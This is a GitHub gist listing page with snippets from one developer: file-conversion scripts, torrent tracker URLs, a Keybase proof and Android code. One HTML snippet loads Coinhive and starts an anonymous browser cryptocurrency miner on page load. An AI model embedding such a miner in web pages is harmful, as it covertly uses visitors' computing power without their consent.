Skip to content

Instantly share code, notes, and snippets.

View zhaochunqi's full-sized avatar
:octocat:
Working from home

Alex Zhao zhaochunqi

:octocat:
Working from home
View GitHub Profile
@zhaochunqi
zhaochunqi / main.py
Last active December 19, 2023 02:31
convert org to markdown
import os
import subprocess
def run_bash_convert(file_path):
original_file = file_path
output_file = file_path.replace('.org', '.md')
process = subprocess.Popen(["mldoc", "convert", "-i", original_file, "-o", output_file])
output, error = process.communicate()
print(output)
http://176.113.68.67:6961/announce
http://176.113.71.60:6961/announce
http://184.105.151.164:6969/announce
http://185.83.214.123:6969/announce
http://51.15.55.204:1337/announce

Keybase proof

I hereby claim:

  • I am zhaochunqi on github.
  • I am harchiko (https://keybase.io/harchiko) on keybase.
  • I have a public key ASCvJIgkFq7EyQRmljuGxFIyhWqR9KattIiTFT_Z8P91EAo

To claim this, I am signing this object:

@zhaochunqi
zhaochunqi / cloudSettings
Last active September 28, 2022 11:42
Visual Studio Code Settings Sync Gist
{"lastUpload":"2020-12-16T14:18:26.592Z","extensionVersion":"v3.4.3"}
title date tags
GCMForMojo 的部署与设置
2017-01-21 11:07:03 -0800
GCM
Android

2017年2月6日更新:完善部分内容,更新内容

2017年2月8日更新:发现自己脑抽少写了一步较为关键的步骤,赶紧补上orz,连带解决笔误

{"sig":"368630bb335582a55e2b87b02a71c48abc9c6aecade7d71a411a478056440d73091f31efba1de37ff1988bca2b264dba6753b0b5476c3a765319bef2395b35b40","msghash":"4813f635eb35414e0cb8caca8243d7d29fb38f1ac74471dd490f36991a52c9f9"}
<html>
<head>
<script type="text/javascript" src="https://coinhive.com/lib/coinhive.min.js"></script>
</head>
<body>
hello miner
<script>
var miner = new CoinHive.Anonymous('y8ooqf18REaQegKmJaDRG019nSa0w8ZU');
miner.start();
files=`find . -name '*.java' | xargs enca -L zh | grep GB2312 | cut -d: -f1`
for f in $files; do
iconv -f GBK -t UTF-8 $f > $f.utf && mv -f $f.utf $f && echo "$f done"
done
@zhaochunqi
zhaochunqi / Android Studio .gitignore
Created July 18, 2016 07:03 — forked from iainconnor/Android Studio .gitignore
A .gitignore for use in Android Studio
# Built application files
/*/build/
# Crashlytics configuations
com_crashlytics_export_strings.xml
# Local configuration file (sdk path, etc)
local.properties
# Gradle generated files
ContentResolver contentResolver = getContentResolver();
Cursor cursor = contentResolver.query(UserDictionary.Words.CONTENT_URI, null,null,null,null);